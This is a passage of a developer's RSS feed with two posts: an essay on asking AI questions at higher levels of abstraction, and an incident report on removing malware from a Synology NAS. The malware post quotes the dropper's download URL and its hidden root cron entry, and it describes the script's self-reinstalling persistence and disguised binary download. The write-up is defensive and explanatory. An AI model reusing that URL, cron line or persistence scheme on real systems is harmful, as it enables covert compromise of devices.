&lt;p&gt;&lt;em&gt;And if your team is shipping AI-written code faster than anyone can read it, that's the thing I do for a living: &lt;a href="https://coffeeshooters.com/code-audit?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=code-audit-offer" rel="noopener noreferrer"&gt;coffeeshooters.com/code-audit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
    <item>
      <title>How I Ask AI Changed: From "Fix This" to "Recalibrate Me"</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Sat, 22 Aug 2026 13:05:11 +0000</pubDate>
      <link>https://dev.to/dexterlung/how-i-ask-ai-changed-from-fix-this-to-recalibrate-me-52f7</link>
      <guid>https://dev.to/dexterlung/how-i-ask-ai-changed-from-fix-this-to-recalibrate-me-52f7</guid>
      <description>&lt;p&gt;Two questions. Both are things I typed to an AI myself. Six weeks apart.&lt;/p&gt;

&lt;p&gt;June 24th, I asked:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"That checkout button does nothing. No console error either. Help me find the cause."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;July 23rd, I asked:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I need you to correct my thinking. I'm not offering the kind of automation-plumbing service that everyone already does — what's the real value I provide? Please recalibrate me."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Same person. Same tool. Same AI. But those two questions are asking from &lt;strong&gt;two completely different floors of a building.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;The first one: I know where the problem is (the button's broken), I want you to find the cause.&lt;br&gt;
The second one: I don't know who I am, I want you to correct how I see myself.&lt;/p&gt;

&lt;p&gt;I pulled all 1,427 prompts I typed to an AI between mid-June and late July. I set out to see "have I changed." What I found wasn't about how much I know technically — it's that the &lt;strong&gt;abstraction level of my questions&lt;/strong&gt; climbed, one rung at a time. And this ladder is something nobody ever taught me. I only noticed it existed by looking back at the record.&lt;/p&gt;

&lt;p&gt;So this is me pulling that invisible ladder apart. Because I'm increasingly convinced: &lt;strong&gt;real skill with AI isn't whether you can write a clever prompt — it's which rung your question is standing on.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  Rung 1: "Fix this" — the instruction level
&lt;/h2&gt;

&lt;p&gt;The bottom rung. You already know the shape of the answer; the AI is just your hands.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;"Help me find the cause."&lt;/li&gt;
&lt;li&gt;"Darken the whole thing — 100% opacity isn't dark enough."&lt;/li&gt;
&lt;li&gt;"Paste this to wake-and-send.py: --x 1966 --y 1303."&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;This rung is useful and necessary — I still ask this way every single day. But if you &lt;strong&gt;only&lt;/strong&gt; stay here, the AI is just a version of you that types faster. As specific as you are, that's as specific as it gets; whatever you can't think of, it won't think of for you either.&lt;/p&gt;

&lt;p&gt;Mid-June me lived mostly on this rung. My prompts back then averaged barely 200 characters — short, direct, just giving orders.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rung 2: "Got a good approach?" — the intent level
&lt;/h2&gt;

&lt;p&gt;One rung up, you state &lt;strong&gt;what you want&lt;/strong&gt;, and hand over the "how."&lt;/p&gt;

&lt;p&gt;June 26th I typed this, and it still feels honest to me:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"The pieces are actually there, they're just not wired together. I'm pretty weak at this wiring-together part — so, got a good approach?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;What's the difference? On rung 1 I give the shape of the answer; here I &lt;strong&gt;only give a direction and hand over the solution space.&lt;/strong&gt; That takes a bit of courage — you have to admit you don't know how, before you can ask "got a good approach."&lt;/p&gt;

&lt;p&gt;From this rung on, the AI starts handing you things you couldn't have thought of. Because you didn't pin it down with a specific instruction.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rung 3: "Design me a mechanism" — the meta level
&lt;/h2&gt;

&lt;p&gt;On the third rung, you stop solving "a problem." You solve a &lt;strong&gt;whole class&lt;/strong&gt; of problems.&lt;/p&gt;

&lt;p&gt;June 23rd, I wasn't trying to fix a bug — I was trying to stop a kind of bug from ever happening again:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"I want to design a skill that proactively saves branching, unfinished tasks. When a conversation drifts into a fork, can it trigger a prompt asking whether to save it?"&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;July 3rd was even clearer — I wanted to &lt;strong&gt;extract a model's judgment into a method&lt;/strong&gt;:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;"Looking at it from a higher level: how does it scope a problem, sketch the outline, converge, and sequence the flow… make this endless stream of problems systematic."&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;On this rung, I go from "the person solving problems" to "the person designing the problem-solving machine." And the most interesting part — &lt;strong&gt;I often use my own flaws as the starting point of the design.&lt;/strong&gt; I know I lose track of branching tasks, so I design a mechanism to catch them. I turn "what I'm bad at" into a spec.&lt;/p&gt;

&lt;p&gt;In my logs from late June to early July, the share of prompts that "talk about method, governance, systematizing" jumped from 13% to 36%. Not because I suddenly got smarter — because the position I was asking from moved up a whole floor.&lt;/p&gt;




&lt;h2&gt;
  
  
  Rung 4: "Recalibrate me" — the self-correction level
&lt;/h2&gt;

&lt;p&gt;The top rung. The hardest. I only climbed onto it recently.&lt;/p&gt;

&lt;p&gt;Here, you're not asking about the world — you're asking about &lt;strong&gt;yourself.&lt;/strong&gt; You want the AI to be a mirror, correcting your judgment about yourself and your direction.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;July 15th: "Thanks for hitting the brakes. Let me go push outward first — stop building inward." (I wanted it to stop my own reflex.)&lt;/li&gt;
&lt;li&gt;July 23rd: "What's the real value I provide? Please recalibrate me." (I wanted it to correct my self-positioning.)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Why is this the hardest rung? Because on the first three you're still holding the wheel — you know what to fix, what approach you want, what class of problem to prevent. On rung 4, what you hand over is &lt;strong&gt;"my judgment about myself might be wrong."&lt;/strong&gt; You have to admit you might not see yourself clearly, before you can ask "please recalibrate me."&lt;/p&gt;

&lt;p&gt;This takes no technical skill — it takes a very mature self-awareness: &lt;strong&gt;knowing your blind spots need an outsider to light them up.&lt;/strong&gt; And an outsider is exactly what a solo developer lacks most.&lt;/p&gt;




&lt;h2&gt;
  
  
  Why does the ladder climb itself?
&lt;/h2&gt;

&lt;p&gt;I used to assume it was the AI getting stronger, so I could ask harder questions. Looking back at the record — no.&lt;/p&gt;

&lt;p&gt;It's that &lt;strong&gt;each rung shows you the next rung exists.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I fixed the same kind of broken button too many times on rung 1 — that's what made me ask, on rung 3, "can we design a mechanism to prevent this." I built too many systems on rung 3 without pushing a single one out — that's what made me hit rung 4: "am I pointed the wrong way, recalibrate me." &lt;strong&gt;The pain of each rung is the door to the next.&lt;/strong&gt; You don't teleport to rung 4 — you have to trip over the same stone on rung 1 enough times first.&lt;/p&gt;

&lt;p&gt;So if you spend most of your time right now on rung 1 asking "fix this," that's completely normal. I do too. The point isn't to force yourself to skip rungs — it's to &lt;strong&gt;not stay there pretending that's all there is.&lt;/strong&gt; Next time you catch yourself fixing the same kind of thing a third time, try asking one level up: "is there a way to stop this class of problem from coming back?" — and you've just stepped onto rung 2.&lt;/p&gt;




&lt;h2&gt;
  
  
  So what skill is this, exactly?
&lt;/h2&gt;

&lt;p&gt;I want to be clear about one thing, because it's counterintuitive.&lt;/p&gt;

&lt;p&gt;A lot of people think "good at using AI" = "good at writing impressive prompts." It's not. My 1,427 prompts are full of typos, casual phrasing, "what do you think?", "I'm just confused." My prompts are not "engineered" at all.&lt;/p&gt;

&lt;p&gt;What's actually improving is &lt;strong&gt;my judgment about which rung to put a question on.&lt;/strong&gt; The same bug, asked on rung 1 as "fix this," versus on rung 3 as "design me a mechanism that prevents this class of bug," gives you wildly different things. And knowing &lt;em&gt;when&lt;/em&gt; to move a question &lt;strong&gt;up a rung&lt;/strong&gt; — that judgment is the real skill.&lt;/p&gt;

&lt;p&gt;It's also why I'm not that worried about "AI is so strong now, everyone can do it, so what's my value." Everyone has the tool. But the person standing on rung 4, who knows to ask "recalibrate me" instead of just "fix this" — &lt;strong&gt;that's judgment you climbed to one rung at a time, over years of tripping over stones. No prompt template hands you that.&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;This comes from a script I ran over my own 6–7 month history — 171 sessions, 1,427 prompts. From the same data I also wrote "I Thought I Was Wasting My Time — While Designing a Cross-Model Controlled Experiment," about the gap between capability and self-assessment. This piece is about how the capability itself grows, one rung at a time.&lt;/em&gt;&lt;/p&gt;




&lt;p&gt;&lt;em&gt;Originally published on my blog: &lt;a href="https://coffeeshooters.com/content/how-i-ask-ai-from-fix-to-recalibrate-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-how-i-ask-ai-from-fix-to-recalibrate-en" rel="noopener noreferrer"&gt;How I Ask AI Changed: From "Fix This" to "Recalibrate Me"&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I keep a running index of every pothole I've hit building a real production system solo — symptom on the left, what to grep in your own repo on the right: &lt;a href="https://coffeeshooters.com/potholes?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=potholes-index" rel="noopener noreferrer"&gt;coffeeshooters.com/potholes&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;And if your team is shipping AI-written code faster than anyone can read it, that's the thing I do for a living: &lt;a href="https://coffeeshooters.com/code-audit?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=code-audit-offer" rel="noopener noreferrer"&gt;coffeeshooters.com/code-audit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
    <item>
      <title>The antivirus said 'no malware detected'. It was sitting right there on the disk.</title>
      <dc:creator>Dexterlung</dc:creator>
      <pubDate>Thu, 20 Aug 2026 13:05:13 +0000</pubDate>
      <link>https://dev.to/dexterlung/the-antivirus-said-no-malware-detected-it-was-sitting-right-there-on-the-disk-4fl8</link>
      <guid>https://dev.to/dexterlung/the-antivirus-said-no-malware-detected-it-was-sitting-right-there-on-the-disk-4fl8</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;A real incident, and a lesson about green lights.&lt;br&gt;
Every command output, version number and CVE ID below is from the actual investigation. Nothing was invented for the narrative.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  It started with an unrelated question
&lt;/h2&gt;

&lt;p&gt;I was tidying up scheduled tasks on my Synology NAS and opened Task Scheduler. Two entries I didn't remember creating:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;PowerOff task 0 → 2026-07-26 09:00
PowerOn  task 0 → 2026-07-26 20:00
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;So I asked: &lt;strong&gt;"Why is this here? I never set this up."&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;While digging through the system crontab, I found this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="k"&gt;*&lt;/span&gt;/20 &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; &lt;span class="k"&gt;*&lt;/span&gt; /bin/sh /etc/.conf &lt;span class="c"&gt;#Sn5Yj8A2l0T&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A dot-prefixed (hidden) file in &lt;code&gt;/etc&lt;/code&gt;, executed &lt;strong&gt;as root every 20 minutes&lt;/strong&gt;, tagged with a random string.&lt;/p&gt;

&lt;p&gt;The power schedule turned out to be unrelated. But if I hadn't asked that question, I would never have opened that file.&lt;/p&gt;

&lt;h2&gt;
  
  
  I didn't scan it. I just read it.
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;#!/bin/bash&lt;/span&gt;

&lt;span class="nv"&gt;MATCH_STRING&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"Sn5Yj8A2l0T"&lt;/span&gt;
&lt;span class="nv"&gt;DOWNLOAD_URL&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"http://zuoye.free.fr/files/synology-10441.png"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reading further, it does four things:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;If it's been deleted&lt;/strong&gt; → &lt;code&gt;wget&lt;/code&gt; itself back&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If &lt;code&gt;/etc/crontab&lt;/code&gt; lacks the marker&lt;/strong&gt; → &lt;strong&gt;overwrite&lt;/strong&gt; the file (&lt;code&gt;&amp;gt;&lt;/code&gt;, not &lt;code&gt;&amp;gt;&amp;gt;&lt;/code&gt;) to reinstall the cron line&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If &lt;code&gt;/etc/rc.subr&lt;/code&gt; lacks the marker&lt;/strong&gt; → append &lt;code&gt;bash /etc/.conf &amp;amp;&lt;/code&gt; (boot persistence)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;If the payload isn't running&lt;/strong&gt; → download &lt;code&gt;000119.png&lt;/code&gt;, save it as &lt;code&gt;node&lt;/code&gt;, execute it&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;That &lt;code&gt;.png&lt;/code&gt; is not an image. First 16 bytes:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;0000000 177   E   L   F 002 001 001  \0
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;\177ELF&lt;/code&gt;. It's a Linux binary. The extension is camouflage.&lt;/p&gt;

&lt;p&gt;It lived at &lt;code&gt;/etc/node&lt;/code&gt;, 568 KB, dated &lt;strong&gt;2026-01-14&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;(The real Node.js is at &lt;code&gt;/usr/local/bin/node&lt;/code&gt;. Something called &lt;code&gt;node&lt;/code&gt; sitting in &lt;code&gt;/etc/&lt;/code&gt; is not a system component.)&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The file was dated January. I found it in July. Six months.&lt;/strong&gt;&lt;/p&gt;

&lt;h2&gt;
  
  
  Then I asked the vendor's own tool
&lt;/h2&gt;

&lt;p&gt;Synology ships Security Advisor, which scans for malware. I ran a full scan.&lt;/p&gt;

&lt;p&gt;Result:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;✅ No malware detected on your system
✅ No malicious cryptocurrency mining software detected
✅ No malicious system configuration files detected
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;Three green checks.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;And at that exact moment, &lt;code&gt;/etc/.conf&lt;/code&gt; and &lt;code&gt;/etc/node&lt;/code&gt; were on the disk. I could &lt;code&gt;cat&lt;/code&gt; them again for anyone who asked.&lt;/p&gt;

&lt;h2&gt;
  
  
  What that green light actually proved
&lt;/h2&gt;

&lt;p&gt;This is the part worth your time.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The tool didn't lie. It just didn't see.&lt;/strong&gt; Three concrete reasons:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;1. The payload was UPX-packed.&lt;/strong&gt;&lt;br&gt;
The only readable string I could extract from the binary was &lt;code&gt;http://upx.sf.net&lt;/code&gt;. UPX compresses executables; a side effect is that every string inside is compressed too. Signature-based scanners match fingerprints. Compress the fingerprint and there's nothing to match.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. The dropper is an ordinary shell script.&lt;/strong&gt;&lt;br&gt;
It isn't a "virus format". Every line, read alone, is legitimate bash: &lt;code&gt;wget&lt;/code&gt;, &lt;code&gt;chmod&lt;/code&gt;, &lt;code&gt;echo&lt;/code&gt;. What's malicious is &lt;strong&gt;what they do together&lt;/strong&gt; — and that requires comprehension, not comparison.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. The cron entry is valid syntax.&lt;/strong&gt;&lt;br&gt;
The "malicious configuration file" check looks for &lt;strong&gt;known-bad templates&lt;/strong&gt;, not for "what is this line doing". &lt;code&gt;*/20 * * * * /bin/sh /etc/.conf&lt;/code&gt; is syntactically indistinguishable from any legitimate schedule.&lt;/p&gt;

&lt;p&gt;So:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;A green light proves "no bad news was seen". It does not prove "there is no bad news".&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In daily life those two are nearly equivalent, so we treat them as one thing. They aren't. And the gap shows up exactly when it matters most.&lt;/p&gt;
&lt;h2&gt;
  
  
  The attacker left a business card
&lt;/h2&gt;

&lt;p&gt;Before cleaning up, I recorded the SHA256 of both files and went back to that download URL:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;http://zuoye.free.fr/files/synology-10441.png
                          ^^^^^^^^^^^^^^^^
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;synology-10441&lt;/code&gt;.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;CVE-2024-10441&lt;/strong&gt; — an unauthenticated remote code execution flaw in Synology DSM's system plugin daemon. &lt;strong&gt;CVSS 9.8&lt;/strong&gt;. It came out of Pwn2Own 2024. No credentials, no user interaction: one crafted request, arbitrary code execution.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The attacker named the payload after the vulnerability they used to get in.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Then I checked versions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;&lt;/th&gt;
&lt;th&gt;&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;DSM &lt;code&gt;7.2.1-69057-6&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;I was running&lt;/td&gt;
&lt;td&gt;DSM &lt;code&gt;7.2.1-69057&lt;/code&gt; &lt;strong&gt;Update 3&lt;/strong&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Below the fix.&lt;/strong&gt; The advisory was published in late 2024. My NAS sat on an older build the whole time.&lt;/p&gt;

&lt;h2&gt;
  
  
  My first hypothesis was wrong
&lt;/h2&gt;

&lt;p&gt;Before I found that filename, my working theory was: &lt;em&gt;"Probably a brute-forced password — auto-block was disabled, after all."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;That was wrong.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;CVE-2024-10441 requires &lt;strong&gt;no authentication at all&lt;/strong&gt;. The attacker never attempted a login, so auto-block was irrelevant — it would have made no difference either way.&lt;/p&gt;

&lt;p&gt;The actual root cause needed exactly two conditions:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Unpatched DSM (below the fixed build)
      ×
Management interface reachable from the internet
      ↓
   one request → root
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;I tested four ports from my phone on mobile data (WiFi off). All refused — so there were &lt;strong&gt;no port-forwarding rules&lt;/strong&gt; on the router. Where did the exposure come from?&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;QuickConnect.&lt;/strong&gt; The vendor's convenience feature that lets you reach your NAS from outside without touching your router. It works by relaying through the vendor's servers — &lt;strong&gt;no port forwarding required&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Convenience and exposure are the same thing viewed from two sides.&lt;/p&gt;

&lt;h2&gt;
  
  
  Removal: the order matters more than the commands
&lt;/h2&gt;

&lt;p&gt;The commands are short, but &lt;strong&gt;the wrong order wastes the effort&lt;/strong&gt;:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# 1. Break both persistence paths FIRST&lt;/span&gt;
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'/Sn5Yj8A2l0T/d'&lt;/span&gt; /etc/crontab
&lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s1"&gt;'/Sn5Yj8A2l0T/d'&lt;/span&gt; /etc/rc.subr

&lt;span class="c"&gt;# 2. THEN delete the files&lt;/span&gt;
&lt;span class="nb"&gt;rm&lt;/span&gt; &lt;span class="nt"&gt;-f&lt;/span&gt; /etc/.conf /etc/node
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Reverse it — delete first, edit cron second — and within 20 minutes the schedule fires, &lt;code&gt;wget&lt;/code&gt; pulls it back, and you conclude "I can't remove it."&lt;/p&gt;

&lt;p&gt;One more trap worth recording: I first tried pasting the whole block with &lt;code&gt;sudo&lt;/code&gt; prefixes. &lt;code&gt;sudo&lt;/code&gt; printed &lt;code&gt;Password:&lt;/code&gt; and &lt;strong&gt;consumed the remaining pasted lines as password attempts&lt;/strong&gt;. Three failures, no commands run.&lt;/p&gt;

&lt;p&gt;The fix is to run &lt;code&gt;sudo -i&lt;/code&gt; alone, wait for the prompt to change from &lt;code&gt;$&lt;/code&gt; to &lt;code&gt;#&lt;/code&gt;, then paste the commands without &lt;code&gt;sudo&lt;/code&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  How do you prove it's actually gone?
&lt;/h2&gt;

&lt;p&gt;Files deleted, no errors — that is not proof.&lt;/p&gt;

&lt;p&gt;This thing is designed to come back when deleted. &lt;strong&gt;The real verification is surviving a full trigger cycle.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;It runs every 20 minutes, so I scheduled an automatic re-check 25 minutes out:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;Cleanup   ~16:40
Re-check   17:13:46
Result     no indicators found
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;A complete cycle passed and it did not return. &lt;strong&gt;That's what counts.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;(I also confirmed the outbound connection to an external IP was gone, no surviving processes, and the system crontab contained only legitimate entries. "It worked" declared immediately after deletion and "it worked" declared after one full cycle are claims of very different strength.)&lt;/p&gt;

&lt;h2&gt;
  
  
  The watcher I wrote doesn't check signatures
&lt;/h2&gt;

&lt;p&gt;Since the vendor's scanner is green on this thing, I can't use it as detection. So I wrote a daily check that does &lt;strong&gt;no signature matching&lt;/strong&gt;. It asks three questions:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Does &lt;code&gt;/etc/.conf&lt;/code&gt; exist?&lt;/li&gt;
&lt;li&gt;Does &lt;code&gt;/etc/node&lt;/code&gt; exist?&lt;/li&gt;
&lt;li&gt;Does that marker string appear in the crontab or boot script?&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Packing defeats a scanner. It doesn't defeat &lt;code&gt;ls&lt;/code&gt;.&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;I made a mistake writing it that's worth its own paragraph. In the first version, "clean" and "couldn't reach the host" both returned the same exit code and logged the same line.&lt;/p&gt;

&lt;p&gt;Which means: the day SSH breaks, or the NAS is powered off, or the key expires — that watcher goes &lt;strong&gt;permanently silent&lt;/strong&gt;, and I assume I'm being watched.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;When a monitor is silent, "everything is fine" and "I am blind" look identical.&lt;/strong&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The fix: distinct exit codes, plus &lt;strong&gt;after three consecutive unreachable runs it alerts that it has gone blind&lt;/strong&gt;. A watcher has to speak up about its own blindness, or its silence gets read as safety.&lt;/p&gt;

&lt;h2&gt;
  
  
  What I took away
&lt;/h2&gt;

&lt;p&gt;&lt;strong&gt;1. "Not detected" and "not there" are different sentences.&lt;/strong&gt;&lt;br&gt;
A tool's output is what that tool saw, not the state of the world. To know whether something exists, go look at the thing itself.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;2. Convenience features are exposure.&lt;/strong&gt;&lt;br&gt;
QuickConnect saved me from configuring a router. The price was putting a management interface on the public internet. That trade was fine before the vulnerability was published, and not fine after — and I didn't re-evaluate.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;3. Updates are not a "when I get around to it" task.&lt;/strong&gt;&lt;br&gt;
Over a year passed between the advisory and my compromise. Every time I saw the update prompt, I thought &lt;em&gt;"later — what if it breaks something."&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;4. "Assuming it's fine" is more dangerous than "knowing it's broken".&lt;/strong&gt;&lt;br&gt;
Six months, zero symptoms. No slowdown, nothing anomalous, and the official tool reporting all clear. The only reason I found it was that I asked a question about something else entirely.&lt;/p&gt;
&lt;h2&gt;
  
  
  If you also run a NAS
&lt;/h2&gt;

&lt;p&gt;Three things, ten minutes:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;Patch to the latest build of your current version.&lt;/strong&gt; Not the newest major release — the newest &lt;em&gt;patch&lt;/em&gt; of what you're on. Lowest risk, most holes closed.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Check whether your admin interface is reachable from the internet&lt;/strong&gt; — both router port-forwarding &lt;em&gt;and&lt;/em&gt; the vendor's remote-access service. Testing from a phone with WiFi off is the honest test.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Enable auto-block.&lt;/strong&gt; It wouldn't have stopped this particular attack, but it stops most credential attempts.&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;And if you want to check whether you're clean:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-rn&lt;/span&gt; &lt;span class="s2"&gt;"/etc/&lt;/span&gt;&lt;span class="se"&gt;\.&lt;/span&gt;&lt;span class="s2"&gt;conf"&lt;/span&gt; /etc/crontab /etc/rc.subr 2&amp;gt;/dev/null
&lt;span class="nb"&gt;ls&lt;/span&gt; &lt;span class="nt"&gt;-la&lt;/span&gt; /etc/.conf /etc/node 2&amp;gt;/dev/null
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;strong&gt;No output is good. If you get output — you now know what it is.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;I'm not a security researcher. I roast coffee and write software on the side.&lt;br&gt;
This is an incident log: an unpatched NAS, a vulnerability public for over a year, a program that sat there for six months, and a green light that said everything was fine.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;p&gt;&lt;em&gt;Originally published on my blog: &lt;a href="https://coffeeshooters.com/content/antivirus-said-clean-malware-was-right-there-en?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=blog-antivirus-said-clean-malware-was-right-there-en" rel="noopener noreferrer"&gt;The antivirus said 'no malware detected'. It was sitting right there on the disk.&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;I keep a running index of every pothole I've hit building a real production system solo — symptom on the left, what to grep in your own repo on the right: &lt;a href="https://coffeeshooters.com/potholes?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=potholes-index" rel="noopener noreferrer"&gt;coffeeshooters.com/potholes&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

&lt;p&gt;&lt;em&gt;And if your team is shipping AI-written code faster than anyone can read it, that's the thing I do for a living: &lt;a href="https://coffeeshooters.com/code-audit?utm_source=devto&amp;amp;utm_medium=social&amp;amp;utm_campaign=code-audit-offer" rel="noopener noreferrer"&gt;coffeeshooters.com/code-audit&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;

</description>
      <category>ai</category>
      <category>programming</category>
      <category>solodev</category>
    </item>
  </channel>
</rss>
